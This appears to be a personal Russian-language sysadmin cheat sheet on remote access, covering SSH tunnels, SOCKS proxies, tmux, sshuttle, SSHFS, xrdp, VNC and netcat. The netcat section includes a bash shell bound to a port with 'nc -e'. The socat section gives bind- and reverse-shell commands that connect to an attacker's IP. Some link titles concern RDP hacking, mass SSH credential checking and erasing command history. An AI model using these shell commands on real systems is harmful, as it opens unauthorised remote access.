$ autossh -M 0 -f -N -p 2222 -o "ServerAliveInterval 30" -o "ServerAliveCountMax 3" \ -o "ExitOnForwardFailure yes" -R 3306:127.0.0.1:3306 evgeniy@192.168.110.8

https://switch-case.ru/71908031
autossh -fNL 192.168.0.1:80:1.2.3.4:80 user@1.2.3.4 -p 22 -i /home/user/.ssh/my_key

https://blog.zerial.org/linux/tip-mantener-sesiones-ssh-activas-con-autossh/
Мы передаем «autossh» те же параметры, что и ssh, например:
autossh -L5022:10.0.0.11:22 -L5023:10.0.0.15:22 -L5024:10.0.0.20:22 10.0.0.1
для привязки локальных портов к различным удаленным машинам. ИЛИ
autossh -R2200:localhost:22 example.com
Чтобы привязать удаленные порты к нашей локальной машине.

https://qastack.ru/superuser/37738/how-to-reliably-keep-an-ssh-tunnel-open
autossh -M 20000 -f -N your_public_server -R 1234:localhost:22 -C
autossh -f -nNT -i ~/keypair.pem -R 2000:localhost:22 username@myoutsidebox.com

Создание и поддержание SSH-туннеля

Настройка SSH-тунеля
В самом простом случае ssh-тунель создается командой:
ssh -L 33060:localhost:3306 -i /home/user/.ssh/id_rsa -f -N [email protected]
где
f - выполнять в фоне.
i - путь до ключа, по которому будет происходить авторизация на сервере master.
N - не выполнять никаких команд. Я так понимаю, если вдруг в сценариях logon на сервере master заданы какие-то команды - выполнение их пропускается.
L - задаёт port forwarding. В данном случае, локальный порт 33060 на сервере slave мапится на локальный порт 3306 на сервере master.

Для автоматизации этого процесса есть утилита autossh, которая следит за тем, что тунель работает, и в противном слуае запускает его заново.

autossh -M 0 -o ServerAliveInterval 30 -o ServerAliveCountMax 3 -L 33060:localhost:3306 -i /home/user/.ssh/id_rsa -N
где
M - задает порт мониторинга. По этим портам происходит проверка работоспособности тунеля. 0 отключит мониторинг, а autossh перезапустит ssh только при выходе из ssh.
o - задание дополнительных опций.
L - маппинг портов.
i - путь к ключу, по которому будет происходить авторизация при подключении к серверу master.
N - не выполнять команд при подключении.
f - выполнять в фоне. Этот параметр не передается в ssh, а выполнение в фоне обеспечивает сама утилита autossh.

Теперь надо настроить запуск этой команды при загрузке системы. Это можно сделать используя systemd.

Создаем сервис. Для этого создаем файл
sudo vi /etc/systemd/system/autossh-mysql-tunnel.service
со следующим содержанием



Параметр -f можно не использовать, так как systemd не понимает этот параметр.

Перезагружаем systemd, чтобы сервис стал доступен:
sudo systemctl daemon-reload
Запускаем сервис и помещаем его в автозагрузку:
sudo systemctl start autossh-mysql-tunnel.service
sudo systemctl enable autossh-mysql-tunnel.service
Проверить статус можно с помощью команды:
sudo systemctl status autossh-mysql-tunnel


https://github.com/aktos-io/link-with-server

ssh proxy via host
Перенаправление (forwarding) портов SSH

http://ruslash.com/ssh-proxy-via-host/
На локальном хосте выполняем:
$ ssh -L 8888:localhost:8888 HOSTA
На следующем хосте
$ ssh -D 8888 HOSTX
Потом подключаемся на локальный 8888 порт и используем его в качестве socks прокси.

https://wiki.enchtex.info/practice/ssh_socks_proxy_server
на локальной машине подключаемся к удаленной системе с помощью команды:
$ ssh -D8080 user@server
где -D8080 – произвольный номер порта.
в настройках программы выбираем использоваться socks прокси на адрес 127.0.0.1:8080


Создаём SOCKS 5 прокси с помощью SSH-соединения через удалённый сервер в Linux
Cоздать SOCKS 5 прокси довольно просто. Достаточно выполнить команду по следующей схеме:

ssh -f -C2qTnN -D <порт> <удаленный_пользователь>@<удаленный_сервер> -p 22
Где
-f Запросит ssh перейти в фоновый режим только перед выполнением команды.
-C Включит сжатие всех данных (включая stdin, stdout, stderr и данные для перенаправленных Х11 и TCP/IP соединений).
-2 Принуждает ssh использовать только протокол версии 2.
-q Тихий режим. Подавляет все предупреждения и диагностические сообщения. Будут отображены только фатальные ошибки.
-T Отменить переназначение терминала.
-n Перенаправляет стандартный ввод из /dev/null (фактически, предотвращает чтение из стандартного ввода).
-N Не выполнять удаленную команду.
-D [локальный IP : ] порт
-p указывает, какой порт использовать; очевидно, это значение по умолчанию равно 22, поэтому приведенное выше утверждение не имеет смысла, но включено для ясности.

Например:

ssh -f -C2qTnN -D 1080 roman@8.8.8.8
После введения пароля к удаленному серверу, SSH перейдёт в фоновый режим.

Далее вам следует открыть любой браузер, в котором прописать адрес SOCKS 5 прокси в параметрах соединения.

Для примера я взял Firefox.
Идём «Правка» → «Настройки» → вкладка «Дополнительно» → вкладка «Сеть» → раздел «Соединение» → кнопка «Настроить»
Устанавливаем там пункт «Ручная настройка сервиса прокси», в поле «Узел SOCKS» пишем наш IP адрес (обычно 127.0.0.1), а в поле «Порт» — указанный порт (в примере 1080).
Ставим ключ на пункт «SOCKS 5» и применяем настройки.

Как мне настроить локальный SOCKS прокси, который туннелирует трафик через SSH?

Как настроить прокси через туннель SSH в Ubuntu: примеры с Firefox и Chrome
создайте прокси SOCKS на локальном хосте: 9999 (выберите любой неиспользуемый порт) через соединение SSH с портом , используя имя пользователя [Unknown site tag]. Вам может быть предложено ввести пароль.
Фактический пример:
$ ssh -D 9999 -f -C -N johndoe@path.to.proxy.server.edu -p 52831

SSH через HTTP прокси
http://www.zeitoun.net/articles/ssh-through-http-proxy/start
https://www.math.ucla.edu/computing/kb/creating-ssh-proxy-tunnel-putty


mosh
https://mosh.org/
Инструмент Mosh — альтернативный вариант для SSH и как его использовать
Mosh — SSH с блекджеком и роумингом
Утилита Mosh как замена SSH
законектится
$ mosh user_name@my_host.com

Запустить интерактивную команду вместо $SHELL:
$ mosh my_host.com htop

Использование другого порта для сессии на сервере:
$ mosh --ssh="ssh -p 2213" my_host.com

mosh --ssh="/bin/ssh -MY_FAVOURITE_SSH_OPTION" host

tmux
https://wiki.archlinux.org/index.php/Tmux_(Русский)
Краткая шпаргалка по tmux (менеджеру терминалов)
Tmux — что это и зачем? Обзор и урок tmux
GNU Screen и tmux: ключ к эффективному использованию консоли
Шпаргалка по работе с Tmux (терминальный мультиплексор)
Поддержка мышки в Midnight Commander запущенного из под tmux/screen

небольшой конфигурационный файл:
$ vi ~/.tmux.conf




vi ~/.profile




$ tmux source-file ~/.tmux.conf
кратко
для подключения обратно используется другой аргумент командной строки:
$ tmux attach

для перехода к предыдущему окну следует использовать следующую команду:
$ tmux last-window

А для создания окна такую:
$ tmux new-window

Весь перечень поддерживаемых команд можно получить так:
$ tmux list-commands

Получить список всех возможных опций можно так:
$ tmux show-options
$ tmux show-window-options

Очень хороший способ запустить tmux:
tmux attach || tmux new — делая так, вы сперва пытаетесь подключиться к уже существующему серверу tmux, если он существует; если такого ещё нет — создаёте новый.
tmux new -s session1 - создание сессии с именем session1
tmux attach -t session1 - подключение к сессии session1
tmux a -t session1
Ctrl+b s Выбрать сессию
tmux kill-session -t session1 - Завершение сессии

После этого вы попадаете в полноценную консоль.
Ctrl+b d — отключиться. (Точно так же вы отключитесь, если прервётся соединение. Как подключиться обратно и продолжить работу — см. выше.)

В одной сессии может быть сколько угодно окошек:
Ctrl+b c — создать окошко;
Ctrl+b 0...9 — перейти в такое-то окошко;
Ctrl+b p — перейти в предыдущее окошко;
Ctrl+b n — перейти в следующее окошко;
Ctrl+b l — перейти в предыдущее активное окошко (из которого вы переключились в текущее);
Ctrl+b & — закрыть окошко (а можно просто набрать exit в терминале).

В одном окошке может быть много панелей:
Ctrl+b % — разделить текущую панель на две, по вертикали;
Ctrl+b " — разделить текущую панель на две, по горизонтали (это кавычка, которая около Enter, а не Shift+2);
Ctrl+b →←↑↓ — переходить между панелями;
Ctrl+b x — закрыть панель (а можно просто набрать exit в терминале).

Недостаток — непривычным становится скроллинг:
Ctrl+b PgUp — вход в «режим копирования», после чего:
PgUp, PgDown — скроллинг;
q — выход из «режима копирования».

работа с tmux
Старт
# tmux //без параметров будет создана сессия 0
# tmux new -s session1 //новая сессия session1. Название отображается снизу-слева в квадратных скобках в статус строке. Далее идет перечисление окон. Текущее окно помечается звездочкой.

Префикс (с него начинаются команды)
<C-b> (CTRL + b)

Новое окно (нажать CTRL+b, затем нажать с)
<C-b c>

Список окон
<C-b w> // переключиться курсором вверх-вниз

Переключение
<C-b n> // следующее окно
<C-b p> // предыдущее окно
<C-b 0> // переключиться на номер окна

Окна можно делить на панели (Panes)
Как в тайловых (мозаичных) оконных менеджерах.

Деление окна горизонтально
<C-b ">
либо команда
# tmux split-window -h

Деление окна вертикально
<C-b %>
либо команда
# tmux split-window -v

Переход между панелей
<C-b стрелки курсора> // либо режим мыши

Изменение размеров панелей
<C-b c-стрелки> // либо режим мыши

Закрытие окон
<C-b x> // нужно подтвердить y
либо
# exit

Отключение от сессии
<C-b d>
либо
# tmux detach

Список сессий
# tmux ls

Подключиться к работающей сессии
# tmux attach //подключение к сессии, либо к единственной, либо последней созданной
# tmux attach -t session1 // подключение к сессии session1

Выбрать сессию
<C-b s>

Завершение сессии
# tmux kill-session -t session1

Завершить все сессии
# tmux kill-server

Список поддерживаемых комманд
# tmux list-commands

Дополнительная информация
# man tmux

Магия ssh
Доступ к ssh серверу через очень зарегулированное подключение
Shellinabox — если вдруг заблокируют SSH
https://github.com/sshuttle/sshuttle
https://www.stunnel.org/config_unix.html
https://github.com/erebe/wstunnel
https://github.com/tsl0922/ttyd
https://github.com/stuicey/SSHy
https://xtermjs.org/

Использование утилиты tar по сети через SSH

SSLH
http://rutschle.net/pipermail/sslh/
Краткий экскурс в sslh
SSLH - МУЛЬТИПЛЕКСОР SSL / SSH
Мультиплексирование ssl/ssh соединений через один 443 порт
SSLH: Прячем SSH/HTTPS/OpenVPN/Telegram за единым портом 443
SSLH: Запускаем SSH, OpenVPN, HTTPS, Socks5 и MTProto-proxy на 443 порту

ssh VPN
VPN через SSH

https://www.stunnel.org/
Stunnel на сервере и клиенте

Shellinabox — если вдруг заблокируют SSH
SSH через Xray

Превращаем любой SSH-сервер в полноценный VPN с помощью утилиты sshuttle
sshuttle --dns -r user@ip_сервера_или_доменное_имя 0.0.0.0/0

https://github.com/sshuttle/sshuttle
https://sshuttle.readthedocs.io/en/stable/

pip install sshuttle

создаем скрипт с именем типа vpn.sh:



Здесь eax и 11.22.33.44 нужно заменить на имя пользователя и IP-адрес вашего сервера.

Далее говорим:
chmod u+x ./vpn.sh
sudo ./vpn.sh

… и ждем появления строчки:
client: Connected.

Проверяем, что все работает:
curl https://eax.me/ip/

В ответ должен прийти IP-адрес использованного SSH-сервера. Также проверяем, что используется DNS-сервер, указанный в переменной $DNS:
dig eax.me

В ответ должно прийти что-то вроде:
...
;; Query time: 20 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)

… где 8.8.8.8 — это выбранный нами DNS-сервер. В данном случае это сервер компании Google.

Напоследок вот вам несколько занимательных фактов о sshuttle:

Чтобы все работало, на сервере не требуются ни root, ни sudo;
Утилита не ломается, если попытаться сделать VPN внутри VPN;
Также вы можете использовать ее совместно с OpenVPN или каким-нибудь Tor;


SSHFS
https://wiki.archlinux.org/title/SSHFS_(Русский)
https://sysadminium.ru/mount-sshfs/
Монтирование удаленной директории с помощью sshfs. Часть 2 из 2
Подключение и настройка SSHFS в Linux
Как настроить SSH вход без пароля

sudo apt install sshfs fuse

Чтобы получить возможность монтировать от имени обычного пользователя необходимо создать группу fuse:
sudo groupadd fuse
sudo usermod -aG fuse $USER
либо sudo vim /etc/fuse.conf
user_allow_other
тогда монтирование будет с опцией sshfs -o allow_other

Аутентификация по ключу
ssh-keygen -t rsa -b 4096 -C "your_email@domain.com"
ssh-copy-ide [remote_username]@[server_ip_address]
Открытый ключ автоматически копируется в файл .ssh/authorized_keys

sshfs [remote_username]@[server_ip_address]:/patch /mnt/stor/
sshfs -o ssh_command='ssh -q -o BatchMode=yes -o StrictHostKeyChecking=no' server_ip_address:/patch /mnt/stor/

Если по каким-то причинам нельзя настроить аутентификацию по ключу, можно использовать утилиту sshpass. Опция -f для утилиты sshpass говорит о том, что пароль доступа к серверу сохранен в файле ~/server.pass
sshfs -f -o allow_other developer@123.123.123.123:/var/www/ /home/evgeniy/var-www/

отмонтировать
fusermount -u /opt/repo

vim /etc/fstab
USERNAME@HOSTNAME_OR_IP:/REMOTE/DIRECTORY /LOCAL/MOUNTPOINT fuse.sshfs defaults,_netdev 0 0



установка XRDP, VNC и SSH на Ubuntu и Debian 2

XRDP

usermod -aG audio,video пользователь

sudo apt install xrdp
sudo dpkg-reconfigure xserver-xorg-legacy

Xrdp настройка Xfce sevo44-1



выбираем "кто угодно"

sudo mv /etc/xrdp/startwm.sh /etc/xrdp/startwm.sh.BACKUP
sudo nano /etc/xrdp/startwm.sh




Важно! Обратите внимание на тот факт, что в конце файла необходимо добавить пустую строку.

sudo chmod +x /etc/xrdp/startwm.sh

hwinfo |grep XkbModel

sudo mv /etc/xrdp/xrdp_keyboard.ini /etc/xrdp/xrdp_keyboard.ini.BACKUP
sudo nano /etc/xrdp/xrdp_keyboard.ini




echo xterm > ~/.xsession # ( если этого файла нет домашнем каталоге)
sudo service xrdp restart

systemctl is-enabled xrdp # проверить есть ли в автозагрузке
systemctl disable xrdp # убрать из автозагрузки
systemctl enable xrdp # добавить в автозагрузку
systemctl start xrdp # запустить

rdesktop -z -P -g 1280x1024 127.0.0.1 -k en-us

если ошибки с локалью, то вбить export LANG=ru_RU.utf8

если возникает ошибка невозможно получить доступ к '/home/пользователь/thinclient_drives': Отказано в доступе
то sudo umount -f thinclient_drives
после этого вы должны переименовать thinclient_drives в .thinclient_drives

vi (m) /etc/xrdp/sesman.iniфайл.
В [Chansrv] добавить: FuseMountName=/tmp/%u/thinclient_drives
Выйдите из системы и войдите снова. Теперь thinclient_drives будут смонтированы /tmp/{uid}/thinclient_drives.
Можно rmdir thinclient_drives в своем хомедире.

ошибка при запуске с sudo или su
"Не удалось подключиться к: В соединении отказано Ошибка инициализации GTK."
вбить
xhost si:localuser:root
после
sudo программа
или что безопасней
export XAUTHORITY=$HOME/.Xauthority
sudo программа

запуск графических приложений из snap

nano /etc/xrdp/sesman.ini
env | grep DBUS
sudo lshw -C display
xwininfo -tree -root
echo $DISPLAY

sudo lshw -C display
ps -ef | grep Xorg
pkexec env DISPLAY=$DISPLAY XAUTHORITY=$XAUTHORITY программа
export PATH="/snap/bin/:$PATH"
Xvfb -ac :10 -screen 0 1280x1024x16 & export DISPLAY=:10

xhost +
xhost +local:
xhost +si:localuser:root
xhost +si:localuser:пользователь

ssh username@hostname -X
ssh username@hostname -Y
export DISPLAY='IP:0.0'
export DISPLAY="127.0.0.1:10.0"

запуск хрома
export PATH="/snap/bin/:$PATH"
echo $DISPLAY
xhost +si:localuser:пользователь
export DISPLAY=:10 && chromium &


https://sevo44.ru/xrdp-terminalnyj-server-linux/#Debian_9
https://hostiq.ua/wiki/install-rdp-server/#2_5
https://wiki.yola.ru/xrdp:xrdp

VPS на Linux с графическим интерфейсом: запускаем сервер RDP на Ubuntu 18.04
Удаленный доступ. Обобщил себе на память.
Ошибка cannot open display в Linux
Docker: запуск графических приложений в контейнерах

FreeBSD 12 xrdp
FreeBSD + xRDP + WINE или Терминальный сервер для 1С в AD
xrdp_keyboard.ini



В пользовательской директории создаем файл .startwm.sh с таким содержимым:



Добавляем в /etc/rc.conf

xrdp_enable="YES"
xrdp_sesman_enable="YES"

И запускаем, service xrdp allstart, которая запустит ещё и сервис xrdp_sessman.

freerdp-shadow
Как установить и запустить RDP сервер в Linux
sudo apt install freerdp2-shadow-x11 winpr-utils

Чтобы запустить RDP сервер вовсе без аутентификации используйте опцию -auth:
freerdp-shadow-cli -auth

Если аутентификация включена, PAM используется с подсистемой X11
чтобы запустить freerdp-shadow с поддержкой NLA необходимо создать файл, в котором будет строка вида:
ПОЛЬЗОВАТЕЛЬ:::ХЕШ:::
Имя пользователя Linux нам известно, для вычисления хеша нужно выполнить команду вида:
winpr-hash -u ПОЛЬЗОВАТЕЛЬ -p ПАРОЛЬ

К примеру, имя пользователя mial, а пароль цифра 2 тогда команда следующая:
winpr-hash -u mial -p 2

Получен хеш:
8f33e2ebe5960b8738d98a80363786b0

Создаём текстовый файл SAM и в него записываем строку
mial:::8f33e2ebe5960b8738d98a80363786b0:::

Теперь запускаем freerdp-shadow-x11 с двумя опциями:
/sam-file:ФАЙЛ — указывает на расположение NTLM SAM файла для NLA аутентификации
/sec:nla — принудительное включение аутентификации по протоколу NLA

Итак, моя команда следующая:
freerdp-shadow-cli /sam-file:SAM /sec:nla

Для того, чтобы делиться не всем экраном, а только его частью, используйте опцию /rect:x,y,w,h. Где:

x,y — координаты верхнего левого угла прямоугольника
w — ширина прямоугольника
h — высота прямоугольника

К примеру, чтобы делиться частью экрана 500×500 пикселей с координатами 200,300:
freerdp-shadow-cli /sam-file:SAM /sec:nla /rect:200,300,500,500

Ошибка freerdp-shadow «client authentication failure: -1»
То необходимо создать файл SAM и запустить freerdp-shadow с опциями /sam-file:SAM /sec:nla как это показано выше.


Xnest Xephyr
https://wiki.archlinux.org/index.php/Xorg
https://www.sysadminwiki.ru/wiki/Удалённый_рабочий_стол_Linux
https://xneur.ru/settings
Удаленный доступ по XDMCP (удаленное подключение к рабочему столу) Ubuntu/Debian
Х из init 3
На третьем уровне инициализации/выполнения (init 3) выполнить:
X -query 10.0.0.111

Чтобы запустить вложенный сеанс другой среды рабочего стола:
$ /usr/bin/Xnest :1 -geometry 1024x768+0+0 -ac -name Windowmaker & wmaker -display :1
$ Xephyr :1 -geometry 1024x768+0+0 -ac -name Windowmaker & wmaker -display :1
Это запустит сеанс Window Maker в окне 1024 на 768 в текущем сеансе X.
опция -ac позволяет удалённым клиентам подключаться к вашему X-серверу
$ Xephyr -query localhost -screen 800x600 :1 Если localhost – это XDMCP сервер, 800x600 – требуемое разрешение, а :1 – номер дисплея (можно использовать любой свободный номер)
в одном окне консоли вбить Xephyr :2
в другом xterm -display :2
Xephyr :2 -geometry 1280x1024+0+0 -resizeable &
DISPLAY=:2 fvwm1 &
Xephyr -terminate -query 192.168.1.116 :1 -screen 1280x1024
ssh andy@host.com -XYC “Xephyr :1 -query localhost –screen 800x600”
Xephyr :1 -query 192.168.0.111 -screen 800x600
Xephyr :2 -screen 1024x768+0+0 -resizeable & fluxbox -display :2
Xephyr :2 -geometry 1280x1024+0+0 -resizeable & fluxbox -display :2

XDMCP
Подключение к рабочему столу Linux Ubuntu с использованием XDMCP.
Настройка XDMCP, удаленного подключения к рабочему столу Linux

nano /etc/lightdm/lightdm.conf
Для разрешения TCP-подключений к графическому серверу X11, нужно в файл конфигурации lightdm.conf добавить строку :
xserver-allow-tcp=true

Для разрешения удаленных подключений к менеджеру дисплея нужно добавить секцию
[XDMCPServer]
enabled=true

service lightdm restart
netstat –na | more

XDMCP и принимает входящие подключения на UDP порт 177 (по умолчанию) , а графический сервер (сервер X11 ) – принимает входящие подключения на порт 6000/TCP

Xpra
https://xpra.org/index.html
https://github.com/Xpra-org/xpra
https://wiki.archlinux.org/title/Xpra
https://www.altlinux.org/Xpra
xpra - утилита удаленного запуска графических приложений
https://winswitch.org/downloads/
Учимся переносить запущенные программы с одного компьютера на другой

VNC
TigerVNC
https://docs.slackware.com/howtos:window_managers:vnc
Как настроить и использовать сервер TigerVNC в Linux
sudo apt install tigervnc-standalone-server tigervnc-viewer tigervnc-xorg-extension
vim ~/.vnc/xstartup



vncpasswd # создать пароль для TigerVNC сервера
запуск
vncserver :1 # запустить на 1 виртуальном столе
Пароль для аутентификации на сервере будет взят из файла $HOME/.vnc/passwd

vncserver -list # список запущенных рабочих столов с VNC
vncserver -kill :1 # убить сессию
vncconfig -display :1 -list # список опций VNC
ss -tulp # посмотреть порт запуска
vncviewer -listen 5901 # подключиться
gvncviewer ip_address:1 # адрес:дисплей

x11vns
рецепт 1
Подключаемся к удалённому рабочему столу по VNC на этапе экрана авторизации (GDM, KDM, Lightdm, MDM)

установим x11vnc:
sudo apt-get install x11vnc

Создадим файл с паролем для авторизации:
sudo x11vnc -storepasswd /etc/x11vnc.pass

vnc сервера используют 5900 порт
iptables -A INPUT -p tcp -m tcp --dport 5900 -j ACCEPT
ufw allow 5900

Запустим x11vnc:
sudo x11vnc -display :0 -rfbauth /etc/x11vnc.pass -rfbport 5900 -o /var/log/x11vnc.log

проверим:
vncviewer localhost

service x11vnc start

Быстрая настройка x11vnc
Устанавливаем x11vnc
sudo apt-get install x11vnc

Генерируем пароль для доступа:
x11vnc -storepasswd

При использовании LightDM
После установки x11vnc создайте файл /etc/init/x11vnc.conf, в который добавьте следующий код:



если не работает то
https://qastack.ru/ubuntu/229989/how-to-setup-x11vnc-to-access-with-graphical-login-screen

работающие скрипты:
скрипт гасится сам



нужно гасить pkill x11vnc



запускать как службу
mcedit /lib/systemd/system/x11vnc.service


systemctl daemon-reload
service x11vnc start
service x11vnc status
service x11vnc enable

рецепт 2 попроще, для ubuntu
https://www.crazy-logic.co.uk/projects/computing/how-to-install-x11vnc-vnc-server-as-a-service-on-ubuntu-20-04-for-remote-access-or-screen-sharing

sudo apt-get install lightdm
sudo reboot
sudo apt-get install x11vnc

vi /lib/systemd/system/x11vnc.service



systemctl daemon-reload
systemctl enable x11vnc.service
systemctl start x11vnc.service
systemctl status x11vnc.service


рецепт 3, без systemd
x11vnc -storepasswd "пароль" /etc/x11vnc.pass
sudo chmod ugo+r /etc/x11vnc.pass
sudo -u $USER x11vnc -noxdamage -shared -dontdisconnect -many -noxfixes -rfbauth /etc/x11vnc.pass -auth guess


Как настроить VNC сервер x11vnc

в NetBDS, OpenBSD и FreeBSD:
pkgin install x11vnc
startx -display :0 &
x11vnc -display :0

ошибки
когда light-locker блокирует экран, то видно чёрное окно и не войти
https://bugs.launchpad.net/ubuntu/+source/light-locker/+bug/1287171
https://www.linux.org.ru/forum/admin/12755272
https://www.linux.org.ru/forum/general/13664036/page1#comments
https://github.com/pekmop1024/x11vnc-light-locker/blob/master/usr/local/bin/x11vnc-wrapper

вместо light-locker установить xscreensaver


VNC в веб-браузере
Как получить доступ к удаленному рабочему столу VNC в веб-браузере
качается https://github.com/novnc/noVNC/archive/refs/tags/v1.2.0.tar.gz
в нём есть launch.sh
распаковывается tar -xavf v1.2.0.tar.gz
качается https://github.com/novnc/websockify/archive/refs/tags/v0.11.0.tar.gz в распакованную $HOME/noVNC-1.2.0/utils
распаковывается tar -xavf v1.2.0.tar.gz
переименовывается
mv websockify-0.11.0/ websockify
затем запускается
./utils/launch.sh --vnc 0.0.0.0:5900
распаковать можно куда угодно, например в /opt
открыть в браузере
http://ip_адрес_сервера:6080/vnc.html?host=dit-st-unstable&port=6080
нажать на шестерёнку "Настройки", "Дополнительно", "WebSocket", "Сервер:" - прописать ip_адрес_сервера


VPN
ssh VPN
VPN через SSH
https://www.stunnel.org/
Stunnel на сервере и клиенте

Shellinabox — если вдруг заблокируют SSH
SSH через Xray

Превращаем любой SSH-сервер в полноценный VPN с помощью утилиты sshuttle
sshuttle --dns -r user@ip_сервера_или_доменное_имя 0.0.0.0/0

https://github.com/sshuttle/sshuttle
https://sshuttle.readthedocs.io/en/stable/

pip install sshuttle

создаем скрипт с именем типа vpn.sh:



Здесь eax и 11.22.33.44 нужно заменить на имя пользователя и IP-адрес вашего сервера.

Далее говорим:
chmod u+x ./vpn.sh
sudo ./vpn.sh

… и ждем появления строчки:
client: Connected.

Проверяем, что все работает:
curl https://eax.me/ip/

В ответ должен прийти IP-адрес использованного SSH-сервера. Также проверяем, что используется DNS-сервер, указанный в переменной $DNS:
dig eax.me

В ответ должно прийти что-то вроде:
...
;; Query time: 20 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)

… где 8.8.8.8 — это выбранный нами DNS-сервер. В данном случае это сервер компании Google.

Напоследок вот вам несколько занимательных фактов о sshuttle:

Чтобы все работало, на сервере не требуются ни root, ни sudo;
Утилита не ломается, если попытаться сделать VPN внутри VPN;
Также вы можете использовать ее совместно с OpenVPN или каким-нибудь Tor;

https://github.com/Nyr/openvpn-install
https://github.com/Nyr/wireguard-install
Свой VPN сервер на Wireguard с помощью Docker

OpenVPN
Бесплатный VPN сервер, клиент, и тд
vpn pptp openvpn centos7
настройка клиента openvpn
Генерация ключей OpenVPN

sudo service openvpn start
sudo service openvpn status
sudo service openvpn stop
sudo service openvpn status
ps aux | grep -v grep | grep openvpn

https://www.oracle.com/cloud/free/

Работа с сетевыми дисками
Работа с NFS
1. установите nfs-common
sudo apt install nfs-common
2. сделайте точку монтирования
mkdir -p /media/nfs-server
3.
подключите общий ресурс сервера к каталогу mount SERVER-IP-ADDRESS:/SERVER_SHARE_NAME/ media/nfs-server
mount :/volume1/music /media/nfs-server
4. Просмотрите смонтированный каталог.
ls /media/nfs-server

Если вы хотите сделать этот ресурс постоянно смонтированным, вы можете добавить его в свой /etc/fstab, например
SERVER-IP-ADDRESS:/SERVER_SHARE_NAME/media/nfs-server nfs rw 0 0


проверка открытых портов
netstat -ltup; netstat -lntup; netstat -lntupc
ss -lntu; ss -lntup
nmap -n -Pn -sS -sU -p- localhost
lsof -i; lsof -i :80

netcat передача данных, тестирование соединений
Как использовать Netcat для тестирования соединений TCP и UDP
Как пользоваться netcat (nc), ncat
Обратная инженерия сетевого трафика
Полезные трюки при работе с netcat

Чат между узлами
На первом узле (192.168.1.100):
nc -lp 9000
На втором узле:
nc 192.168.1.100 9000

Реверс-шелл
nc -e /bin/bash -lp 4444
соединиться с удаленного узла:
nc 192.168.1.100 4444

веб-сервер для отображения html странички.
while true; do nc -lp 8888 < index.html; done


UDP передать данные
cat ФАЙЛ | ncat -u -C IP-АДРЕС ПОРТ
получить эти данные
ncat -u -l IP-АДРЕС ПОРТ

TCP передать данные
nc хост порт < filename
{ cat ФАЙЛ1 ФАЙЛ2 ФАЙЛ3 ФАЙЛ4; cat;} | ncat -C IP-АДРЕС ПОРТ
{ cat ФАЙЛ{1..4}; cat;} | ncat -C IP-АДРЕС ПОРТ
приём
nc -l порт > filename

копирование зашифрованного диска
https://habr.com/ru/articles/800455/
# Получатель
nc -l 4444 | pbzip2 -d | dd of=/dev/nvme0n1 obs=1M
# Отправитель
pv /dev/nvme0n1 | pbzip2 -9 | nc DESTIP 4444

Как сделать прокси на виртуальном хостинге
локальном компьютере, в одной консоли запускаем прокси:
ncat -vvv -l 34567 --proxy-type http
и в другой консоли запрос через этот прокси:
curl -s --proxy localhost:34567 'https://hackware.ru'


Socat
Сетевой pivoting: понятие, примеры, техники, инструменты

Шелл
Установка слушателя:
socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane

Подключение к слушателю:
socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337

Обратный шелл
Установка слушателя:
socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0

Подключение к машине атакующего
socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane

Размер терминала
По умолчанию размер терминала довольно мал, как вы можете заметить при запуске команды top или редактировании файлов в текстовом редакторе. Вы можете легко изменить это, используя команду stty -a, чтобы получить размер вашего обычного терминала:
stty -a
speed 38400 baud; rows 57; columns 211; line = 0;

Примените нужный размер к вашему терминалу socat:
stty rows 57 cols 211

ссылки
разница между DE и WM, а также работа в голых иксах
скриншоты в иксах и консоли, разрешение экрана в tty
Установка xrdp на CentOS 7

https://debian-handbook.info/browse/ru-RU/stable/sect.remote-login.html
Настройка сервера VNC и RDP совместно с LightDM
VNC в Linux: настройка сервера и клиента
Всё о RDP: от настройки до взлома
sshprank: массовая проверка учётных данных SSH и быстрый сбор SSH баннеров
https://wiki.x2go.org/doku.php
Организуем себе безопасное рабочее место на удаленной виртуалке при помощи x2go
Настройка Ubuntu Linux в качестве терминального сервера x2go
LTSP: Терминальный сервер на Linux
LTSP: Терминальный сервер на Linux
делаем vim удобным
рабочий стол в консоли
изменение времени файлов, удаление истории посещения и команд в linux

Возникла необходимость фиксировать локальный репозиторий разработчиков на конкретную дату, сравнивать эти состояния, откатываться назад и возвращаться к текущему состоянию, публиковать нужную версию.
Для этой цели отлично подошел продукт под названием Aptly.
развернуть
Принцип работы таков:

  • создается зеркало локального репозитория;

  • фиксируется текущее состояие созданием снмка (snapshot);

  • cнимки могут быть объеденены между собой (merge), сравнены (diff) и прочее;

  • публикуется выбранный снимок.




Очень хорошая, понятная документация на самом официальном сайте проекта: http://www.aptly.info/doc/overview/

Установка Aptly на Ubuntu 14.04:


Так как в основном репозитории Ubuntu нет пакета Aptly, для начала добавьте репозиторий разработчика в /etc/apt/sources.list прямым редактированием файла добавив в конец строку:

deb http://repo.aptly.info/ squeeze main

или выполнив команду:

# add-apt-repository 'deb http://repo.aptly.info/ squeeze main'

Не беспокойтесь на счет squeeze в названии репозитория: пакет Aptly будет работать на Debian squeeze+, Ubuntu 10.0+

Импортирйте ключ для репозитория:

# gpg --keyserver keys.gnupg.net --recv-keys 2A194991
# gpg -a --export 2A194991 | sudo apt-key add -

После этого можно устанавливать Aptly как любой другой пакет:

# apt-get update
# apt-get install aptly

установяться так же и зависимости: bzip2, gnupg and gpgv.

В целях безопасности команды aptly не следует выполнять из-под учетной записи root. Для этих целей создайте нового пользователя, например:

# adduser repokeeper

и залогиньтесь под ним:

# su repokeeper

Далее сгенерируйте gpg ключ для подписи своего репозитория. Делать это нужно именно из под учетной записи того пользователя, от имени которого впоследствии будут публиковаться снимки:

# gpg --gen-key

Если интропия вашкго компьютера достаточна, а именно более 800, то ключ благополучно сгенерируется. Сохраните пароль ключа в надежном месте.

Посмотреть уровень текущей интропии можно открыв еще одну консоль и выполнив:

cat /proc/sys/kernel/random/entropy_avail

Если долго ничего не происходит и вываливается ошибка:



это означает, что ваш компьютер бездействует и уровень интропии недостаточен.
Запустите какой-нибудь длительный тяжелый процесс на сервере, что бы его нагрузить или запустите в соседней консоли:

# cat /dev/urandom > randomfile

